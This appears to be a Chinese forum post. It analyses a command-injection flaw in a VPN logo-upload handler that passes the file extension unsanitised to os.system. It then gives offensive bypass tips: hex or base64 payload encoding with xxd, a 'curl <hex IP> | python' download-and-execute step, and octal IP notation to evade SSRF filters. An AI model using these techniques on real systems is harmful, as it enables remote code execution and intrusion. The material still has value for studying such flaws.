心明表哥的一個提問,大概就是一個文件后綴名可命令執行,但是沒法用. / \
,不然會被誤處理。
if file_src == "vpn_logo_upload":
data = request.files.vpn_logo
filename = data.filename
if data.file:
file_ext = os.path.splitext(filename)[1]
output_path = "/usr/vtm/var/www/html/vpn/upload/" + "vpn_logo" + file_ext
bak_tag = False
bak_file_path = output_path + ".bak"
if os.path.exists(output_path):
cmd = "mv -f " + output_path + " " + bak_file_path
os.system(cmd)
bak_tag = True
write_file(filename, data.file, output_path)
file_size = os.path.getsize(output_path)
file_type = mimetypes.guess_type(output_path)
del_cmd = "rm -f " + output_path
if file_type[0] != "image/jpeg" and file_type[0] != "image/png" and file_type[0] != "image/gif":
result = {"return": -2, "reason": file_type[0]}
os.system(del_cmd)
elif file_size < file_size_1M:
result["data"]["new_name"] = "vpn_logo" + file_ext
else:
result = {"return": -2, "reason": "file is too large"}
os.system(del_cmd)
if bak_tag:
bak_cmd = "mv -f " + bak_file_path + " " + output_path
os.system(bak_cmd)
1. 編碼
linux有一些編碼工具,base64,16進制
base64,並不是很好用,因為base64有時候會出現`/`字符
編碼: echo "hello" | base64
解碼: echo "aGVsbG8K" | base64 -d
16進制
編碼: echo "hello" | xxd -p
解碼: echo "68656c6c6f0a" | xxd -r -p
優缺點: 存在字符長度問題,當然如果是無法連接外網的時候,這個還是能寫shell的
2.遠程下載執行
不能存在.
,所以curl 16進制ip | python
,最好用flask或者其他的創建一個web服務吧,apache的話會出400錯誤,雖然理論可以自定義的.
補充內容: 好像大家對16進制這個有點誤解,這個在ssrf中繞過是經常使用的.
十進制 ---||||||> 十六進制 ---||||||> 八進制 然后在訪問時 指定協議然后加個0
http://0[八進制] 比如 115.239.210.26 首先用.分割數字 115 239 210 26 然后選擇10進制轉換16進制!
(要用0來表示前綴,可以是一個0也可以是多個0 跟XSS中多加幾個0來繞過過濾一樣!)
首先把這四段數字給 轉成 16 進制!結果:73 ef d2 1a 然后把 73efd21a 這十六進制一起轉換成8進制!
結果:16373751032
然后指定協議 http:// 用0表示前綴 加上結果 鏈接:
http://0016373751032
類似的棟棟師傅的姿勢
用16進制比bash64更通用,再補充一個,很多時候可能會遇到沒有寫權限,常規思路可能是去找有寫權限的目錄,不過費時費力,下面這個技巧可能會更簡單一些